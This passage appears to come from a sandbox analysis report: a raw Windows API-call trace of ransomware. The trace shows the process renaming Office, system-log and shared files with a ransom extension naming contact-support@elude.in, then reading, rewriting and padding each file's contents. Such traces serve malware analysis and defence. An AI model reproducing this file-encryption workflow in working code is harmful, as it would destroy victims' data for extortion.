(hObject=0x69c) returned 1 [0104.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.656] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.657] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x650072, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIBE63~1.FIR")) returned 0x6d4e00 [0104.657] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0104.657] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0104.657] GetProcessHeap () returned 0x630000 [0104.657] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70f49e8 [0104.658] GetProcessHeap () returned 0x630000 [0104.658] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ffe18 [0104.659] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.659] ReadFile (in: hFile=0x69c, lpBuffer=0x70f49e8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f49e8*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.688] GetProcessHeap () returned 0x630000 [0112.688] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0112.689] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.689] WriteFile (in: hFile=0x69c, lpBuffer=0x70ffe18*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ffe18*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.689] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.689] WriteFile (in: hFile=0x69c, lpBuffer=0x710b217*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710b217*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.690] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.690] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.690] CloseHandle (hObject=0x69c) returned 1 [0112.691] GetProcessHeap () returned 0x630000 [0112.691] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ffe18 | out: hHeap=0x630000) returned 1 [0112.691] GetProcessHeap () returned 0x630000 [0112.691] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f49e8 | out: hHeap=0x630000) returned 1 [0112.692] GetProcessHeap () returned 0x630000 [0112.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0112.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.692] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x91d0889, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xbc87496, dwReserved1=0x70f49e0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIBE63~1.FIR")) returned 0x6d51c0 [0112.692] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0112.692] Sleep (dwMilliseconds=0x1) [0113.708] Sleep (dwMilliseconds=0x1) [0114.301] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", len=0x3d | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 1 [0114.301] GetProcessHeap () returned 0x630000 [0114.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e118, Size=0x50) returned 0x6eec30 [0114.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.302] Sleep (dwMilliseconds=0x1) [0114.882] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.443] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", len=0x44 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0115.443] GetProcessHeap () returned 0x630000 [0115.443] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9120, Size=0x1c) returned 0x6e9288 [0115.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.445] Sleep (dwMilliseconds=0x1) [0115.451] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE", len=0x44 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 1 [0115.451] GetProcessHeap () returned 0x630000 [0115.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0115.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0115.458] CloseHandle (hObject=0x718) returned 1 [0115.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0115.460] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSEEXE~1.FIR")) returned 0x6d4f40 [0115.460] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0115.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0115.460] GetProcessHeap () returned 0x630000 [0115.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ff1840 [0115.461] GetProcessHeap () returned 0x630000 [0115.461] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72c5438 [0115.461] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.462] ReadFile (in: hFile=0x718, lpBuffer=0x6ff1840, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0119.438] GetProcessHeap () returned 0x630000 [0119.438] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0119.438] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.438] WriteFile (in: hFile=0x718, lpBuffer=0x72c5438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c5438*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0119.438] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.438] WriteFile (in: hFile=0x718, lpBuffer=0x72d0837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0837*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.460] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.460] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.460] CloseHandle (hObject=0x718) returned 1 [0119.466] GetProcessHeap () returned 0x630000 [0119.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c5438 | out: hHeap=0x630000) returned 1 [0119.466] GetProcessHeap () returned 0x630000 [0119.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0119.466] GetProcessHeap () returned 0x630000 [0119.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0123.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd26adf0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3ba6c, dwReserved0=0xbc87496, dwReserved1=0x6ff1838, cFileName="OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSEEXE~1.FIR")) returned 0x6d4ec0 [0123.302] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0123.303] Sleep (dwMilliseconds=0x1) [0123.346] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 1 [0123.346] GetProcessHeap () returned 0x630000 [0123.346] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x178) returned 0x66a3e0 [0123.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0123.364] CloseHandle (hObject=0x5ec) returned 1 [0123.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APDD2E~1.FIR")) returned 0x6d54c0 [0123.387] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0123.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0123.387] GetProcessHeap () returned 0x630000 [0123.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fcaf20 [0123.388] GetProcessHeap () returned 0x630000 [0123.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fd6350 [0123.388] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.388] ReadFile (in: hFile=0x5ec, lpBuffer=0x6fcaf20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcaf20*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.419] GetProcessHeap () returned 0x630000 [0127.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0127.419] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.419] WriteFile (in: hFile=0x5ec, lpBuffer=0x6fd6350*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd6350*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.232] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.232] WriteFile (in: hFile=0x5ec, lpBuffer=0x6fe174f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe174f*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.646] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.646] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.647] CloseHandle (hObject=0x5ec) returned 1 [0132.118] GetProcessHeap () returned 0x630000 [0132.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd6350 | out: hHeap=0x630000) returned 1 [0132.118] GetProcessHeap () returned 0x630000 [0132.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcaf20 | out: hHeap=0x630000) returned 1 [0132.118] GetProcessHeap () returned 0x630000 [0132.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0132.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0132.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x14b2fd1b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x34b6f, dwReserved0=0xbc87496, dwReserved1=0x6fcaf18, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APDD2E~1.FIR")) returned 0x6d4ec0 [0132.118] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0132.119] Sleep (dwMilliseconds=0x1) [0134.165] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", len=0x44 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 1 [0134.165] GetProcessHeap () returned 0x630000 [0134.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a8) returned 0x66a3e0 [0134.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0134.166] CloseHandle (hObject=0x67c) returned 1 [0134.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0024~1.FIR")) returned 0x6d4ec0 [0134.167] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0134.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0134.167] GetProcessHeap () returned 0x630000 [0134.167] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x6fc88b8 [0134.167] GetProcessHeap () returned 0x630000 [0134.167] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x6ff0118 [0134.168] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.168] ReadFile (in: hFile=0x67c, lpBuffer=0x6fc88b8, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesRead=0x4e7ff0c*=0x600, lpOverlapped=0x0) returned 1 [0134.175] GetProcessHeap () returned 0x630000 [0134.176] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0134.176] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.176] WriteFile (in: hFile=0x67c, lpBuffer=0x6ff0118*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0118*, lpNumberOfBytesWritten=0x4e7ff0c*=0x600, lpOverlapped=0x0) returned 1 [0134.176] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 